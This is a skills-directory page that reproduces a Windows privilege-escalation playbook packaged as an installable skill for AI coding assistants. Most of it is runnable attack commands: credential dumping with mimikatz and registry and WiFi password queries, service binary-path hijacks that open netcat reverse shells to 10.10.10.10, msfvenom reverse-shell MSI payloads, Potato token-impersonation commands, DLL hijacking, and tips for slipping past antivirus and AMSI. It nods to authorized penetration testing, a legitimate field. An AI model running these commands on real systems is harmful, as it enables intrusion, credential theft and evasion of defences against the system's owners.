windows privilege escalation

Windows Privilege Escalation

Safety Notice

This listing is imported from skills.sh public index metadata. Review upstream SKILL.md and repository scripts before running.

Copy this and send it to your AI assistant to learn

Install skill "windows privilege escalation" with this command: npx skills add davila7/claude-code-templates/davila7-claude-code-templates-windows-privilege-escalation

Windows Privilege Escalation

Purpose

Provide systematic methodologies for discovering and exploiting privilege escalation vulnerabilities on Windows systems during penetration testing engagements. This skill covers system enumeration, credential harvesting, service exploitation, token impersonation, kernel exploits, and various misconfigurations that enable escalation from standard user to Administrator or SYSTEM privileges.

Inputs / Prerequisites

  • Initial Access: Shell or RDP access as standard user on Windows system

  • Enumeration Tools: WinPEAS, PowerUp, Seatbelt, or manual commands

  • Exploit Binaries: Pre-compiled exploits or ability to transfer tools

  • Knowledge: Understanding of Windows security model and privileges

  • Authorization: Written permission for penetration testing activities

Outputs / Deliverables

  • Privilege Escalation Path: Identified vector to higher privileges

  • Credential Dump: Harvested passwords, hashes, or tokens

  • Elevated Shell: Command execution as Administrator or SYSTEM

  • Vulnerability Report: Documentation of misconfigurations and exploits

  • Remediation Recommendations: Fixes for identified weaknesses

Core Workflow

  1. System Enumeration

Basic System Information

OS version and patches

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" wmic qfe

Architecture

wmic os get osarchitecture echo %PROCESSOR_ARCHITECTURE%

Environment variables

set Get-ChildItem Env: | ft Key,Value

List drives

wmic logicaldisk get caption,description,providername

User Enumeration

Current user

whoami echo %USERNAME%

User privileges

whoami /priv whoami /groups whoami /all

All users

net user Get-LocalUser | ft Name,Enabled,LastLogon

User details

net user administrator net user %USERNAME%

Local groups

net localgroup net localgroup administrators Get-LocalGroupMember Administrators | ft Name,PrincipalSource

Network Enumeration

Network interfaces

ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address

Routing table

route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric

ARP table

arp -A

Active connections

netstat -ano

Network shares

net share

Domain Controllers

nltest /DCLIST:DomainName

Antivirus Enumeration

Check AV products

WMIC /Node:localhost /Namespace:\root\SecurityCenter2 Path AntivirusProduct Get displayName

  1. Credential Harvesting

SAM and SYSTEM Files

SAM file locations

%SYSTEMROOT%\repair\SAM %SYSTEMROOT%\System32\config\RegBack\SAM %SYSTEMROOT%\System32\config\SAM

SYSTEM file locations

%SYSTEMROOT%\repair\system %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system

Extract hashes (from Linux after obtaining files)

pwdump SYSTEM SAM > sam.txt samdump2 SYSTEM SAM -o sam.txt

Crack with John

john --format=NT sam.txt

HiveNightmare (CVE-2021-36934)

Check vulnerability

icacls C:\Windows\System32\config\SAM

Vulnerable if: BUILTIN\Users:(I)(RX)

Exploit with mimikatz

mimikatz> token::whoami /full mimikatz> misc::shadowcopies mimikatz> lsadump::sam /system:\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM

Search for Passwords

Search file contents

findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config

Search registry

reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s

Windows Autologin credentials

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"

PuTTY sessions

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

VNC passwords

reg query "HKCU\Software\ORL\WinVNC3\Password" reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

Search for specific files

dir /S /B pass.txt == pass.xml == cred == vnc == .config where /R C:\ *.ini

Unattend.xml Credentials

Common locations

C:\unattend.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\system32\sysprep.inf C:\Windows\system32\sysprep\sysprep.xml

Search for files

dir /s *sysprep.inf *sysprep.xml *unattend.xml 2>nul

Decode base64 password (Linux)

echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d

WiFi Passwords

List profiles

netsh wlan show profile

Get cleartext password

netsh wlan show profile <SSID> key=clear

Extract all WiFi passwords

for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Key" | find /v "Number" & echo.) & @echo on

PowerShell History

View PowerShell history

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw

  1. Service Exploitation

Incorrect Service Permissions

Find misconfigured services

accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv "Everyone" * /accepteula accesschk.exe -ucqv <service_name>

Look for: SERVICE_ALL_ACCESS, SERVICE_CHANGE_CONFIG

Exploit vulnerable service

sc config <service> binpath= "C:\nc.exe -e cmd.exe 10.10.10.10 4444" sc stop <service> sc start <service>

Unquoted Service Paths

Find unquoted paths

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\" wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\" | findstr /i /v """

Exploit: Place malicious exe in path

For path: C:\Program Files\Some App\service.exe

Try: C:\Program.exe or C:\Program Files\Some.exe

AlwaysInstallElevated

Check if enabled

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Both must return 0x1 for vulnerability

Create malicious MSI

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o evil.msi

Install (runs as SYSTEM)

msiexec /quiet /qn /i C:\evil.msi

  1. Token Impersonation

Check Impersonation Privileges

Look for these privileges

whoami /priv

Exploitable privileges:

SeImpersonatePrivilege

SeAssignPrimaryTokenPrivilege

SeTcbPrivilege

SeBackupPrivilege

SeRestorePrivilege

SeCreateTokenPrivilege

SeLoadDriverPrivilege

SeTakeOwnershipPrivilege

SeDebugPrivilege

Potato Attacks

JuicyPotato (Windows Server 2019 and below)

JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.10.10 4444 -e cmd.exe" -t *

PrintSpoofer (Windows 10 and Server 2019)

PrintSpoofer.exe -i -c cmd

RoguePotato

RoguePotato.exe -r 10.10.10.10 -e "C:\nc.exe 10.10.10.10 4444 -e cmd.exe" -l 9999

GodPotato

GodPotato.exe -cmd "cmd /c whoami"

  1. Kernel Exploitation

Find Kernel Vulnerabilities

Use Windows Exploit Suggester

systeminfo > systeminfo.txt python wes.py systeminfo.txt

Or use Watson (on target)

Watson.exe

Or use Sherlock PowerShell script

powershell.exe -ExecutionPolicy Bypass -File Sherlock.ps1

Common Kernel Exploits

MS17-010 (EternalBlue) - Windows 7/2008/2003/XP MS16-032 - Secondary Logon Handle - 2008/7/8/10/2012 MS15-051 - Client Copy Image - 2003/2008/7 MS14-058 - TrackPopupMenu - 2003/2008/7/8.1 MS11-080 - afd.sys - XP/2003 MS10-015 - KiTrap0D - 2003/XP/2000 MS08-067 - NetAPI - 2000/XP/2003 CVE-2021-1732 - Win32k - Windows 10/Server 2019 CVE-2020-0796 - SMBGhost - Windows 10 CVE-2019-1388 - UAC Bypass - Windows 7/8/10/2008/2012/2016/2019

  1. Additional Techniques

DLL Hijacking

Find missing DLLs with Process Monitor

Filter: Result = NAME NOT FOUND, Path ends with .dll

Compile malicious DLL

For x64: x86_64-w64-mingw32-gcc windows_dll.c -shared -o evil.dll

For x86: i686-w64-mingw32-gcc windows_dll.c -shared -o evil.dll

Runas with Saved Credentials

List saved credentials

cmdkey /list

Use saved credentials

runas /savecred /user:Administrator "cmd.exe /k whoami" runas /savecred /user:WORKGROUP\Administrator "\10.10.10.10\share\evil.exe"

WSL Exploitation

Check for WSL

wsl whoami

Set root as default user

wsl --default-user root

Or: ubuntu.exe config --default-user root

Spawn shell as root

wsl whoami wsl python -c 'import os; os.system("/bin/bash")'

Quick Reference

Enumeration Tools

Tool Command Purpose

WinPEAS winPEAS.exe

Comprehensive enumeration

PowerUp Invoke-AllChecks

Service/path vulnerabilities

Seatbelt Seatbelt.exe -group=all

Security audit checks

Watson Watson.exe

Missing patches

JAWS .\jaws-enum.ps1

Legacy Windows enum

PrivescCheck Invoke-PrivescCheck

Privilege escalation checks

Default Writable Folders

C:\Windows\Temp C:\Windows\Tasks C:\Users\Public C:\Windows\tracing C:\Windows\System32\spool\drivers\color C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys

Common Privilege Escalation Vectors

Vector Check Command

Unquoted paths wmic service get pathname | findstr /i /v """

Weak service perms accesschk.exe -uwcqv "Everyone" *

AlwaysInstallElevated reg query HKCU...\Installer /v AlwaysInstallElevated

Stored credentials cmdkey /list

Token privileges whoami /priv

Scheduled tasks schtasks /query /fo LIST /v

Impersonation Privilege Exploits

Privilege Tool Usage

SeImpersonatePrivilege JuicyPotato CLSID abuse

SeImpersonatePrivilege PrintSpoofer Spooler service

SeImpersonatePrivilege RoguePotato OXID resolver

SeBackupPrivilege robocopy /b Read protected files

SeRestorePrivilege Enable-SeRestorePrivilege Write protected files

SeTakeOwnershipPrivilege takeown.exe Take file ownership

Constraints and Limitations

Operational Boundaries

  • Kernel exploits may cause system instability

  • Some exploits require specific Windows versions

  • AV/EDR may detect and block common tools

  • Token impersonation requires service account context

  • Some techniques require GUI access

Detection Considerations

  • Credential dumping triggers security alerts

  • Service modification logged in Event Logs

  • PowerShell execution may be monitored

  • Known exploit signatures detected by AV

Legal Requirements

  • Only test systems with written authorization

  • Document all escalation attempts

  • Avoid disrupting production systems

  • Report all findings through proper channels

Examples

Example 1: Service Binary Path Exploitation

Find vulnerable service

accesschk.exe -uwcqv "Authenticated Users" * /accepteula

Result: RW MyService SERVICE_ALL_ACCESS

Check current config

sc qc MyService

Stop service and change binary path

sc stop MyService sc config MyService binpath= "C:\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe" sc start MyService

Catch shell as SYSTEM

Example 2: AlwaysInstallElevated Exploitation

Verify vulnerability

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Both return: 0x1

Generate payload (attacker machine)

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi

Transfer and execute

msiexec /quiet /qn /i C:\Users\Public\shell.msi

Catch SYSTEM shell

Example 3: JuicyPotato Token Impersonation

Verify SeImpersonatePrivilege

whoami /priv

SeImpersonatePrivilege Enabled

Run JuicyPotato

JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\nc.exe 10.10.10.10 4444 -e cmd.exe" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}

Catch SYSTEM shell

Example 4: Unquoted Service Path

Find unquoted path

wmic service get name,pathname | findstr /i /v """

Result: C:\Program Files\Vuln App\service.exe

Check write permissions

icacls "C:\Program Files\Vuln App"

Result: Users:(W)

Place malicious binary

copy C:\Users\Public\shell.exe "C:\Program Files\Vuln.exe"

Restart service

sc stop "Vuln App" sc start "Vuln App"

Example 5: Credential Harvesting from Registry

Check for auto-logon credentials

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

DefaultUserName: Administrator

DefaultPassword: P@ssw0rd123

Use credentials

runas /user:Administrator cmd.exe

Or for remote: psexec \target -u Administrator -p P@ssw0rd123 cmd

Troubleshooting

Issue Cause Solution

Exploit fails (AV detected) AV blocking known exploits Use obfuscated exploits; living-off-the-land (mshta, certutil); custom compiled binaries

Service won't start Binary path syntax Ensure space after = in binpath: binpath= "C:\path\binary.exe"

Token impersonation fails Wrong privilege/version Check whoami /priv ; verify Windows version compatibility

Can't find kernel exploit System patched Run Windows Exploit Suggester: python wes.py systeminfo.txt

PowerShell blocked Execution policy/AMSI Use powershell -ep bypass -c "cmd" or -enc <base64>

Source Transparency

This detail page is rendered from real SKILL.md content. Trust labels are metadata-based hints, not a safety guarantee.

Related Skills

Related by shared tags or category signals.

Coding

senior-data-scientist

No summary provided by upstream source.

Repository SourceNeeds Review
Coding

senior-backend

No summary provided by upstream source.

Repository SourceNeeds Review
1.2K-davila7
Coding

senior-frontend

No summary provided by upstream source.

Repository SourceNeeds Review
Coding

ui-ux-pro-max

No summary provided by upstream source.

Repository SourceNeeds Review